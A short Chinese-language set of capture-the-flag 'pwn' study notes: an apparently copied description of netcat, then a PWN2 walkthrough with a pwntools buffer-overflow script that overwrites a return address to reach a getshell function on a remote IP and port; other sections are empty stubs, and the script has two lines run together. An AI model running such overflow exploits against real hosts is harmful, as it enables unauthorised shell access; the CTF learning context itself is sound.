准备UBUNTU pwndbg pwntools
PWN1
关键字:nc
知识点:nc使用方法
https://www.cnblogs.com/nmap/p/6148306.html
nc命令是一个功能打包的网络实用程序,它通过命令行在网络上读取和写入数据;nc是为NMAP项目编写的,是目前已分裂的netcat家族的顶峰,它被设计成一个可靠的后端工具,可以立即为其他用户提供网络连接应用程序和用户。nc不仅可以使用IPv4和IPv6,而且可以为用户提供无限的潜在用途。
在nc的大量功能中,有能力将nc链接在一起;TCP、UDP和到其他站点的SCTP端口;支持SSL;通过socks4或HTTP代理(带有可选代理)进行代理连接身份验证);一些一般原则适用于大多数应用程序,因此使您能够立即向通常不支持它的软件添加网络支持。
步骤:
PWN 2
关键字:缓冲区一溢出
知识点:
步骤:准备UBUNTU 安装pwndbg +pwntools
1.敏感名称函数 getshell
查看main
2.checksec pwn2
3.gdb来进行调试,首先我们制造垃圾字符,接着运行这个程序,把垃圾字符复制粘贴上
4.写脚本 运行脚本 要用python2 python3报错TypeError: must be str, not bytes
from pwn import *p = remote("114.67.246.176", 15319)
payload='a'*48+'a'*8+p64(0x400751)
p.recvline()
p.sendline(payload)
p.interactive()
PWN 3
关键字:nc
步骤:
PWN
关键字:
知识点:
步骤: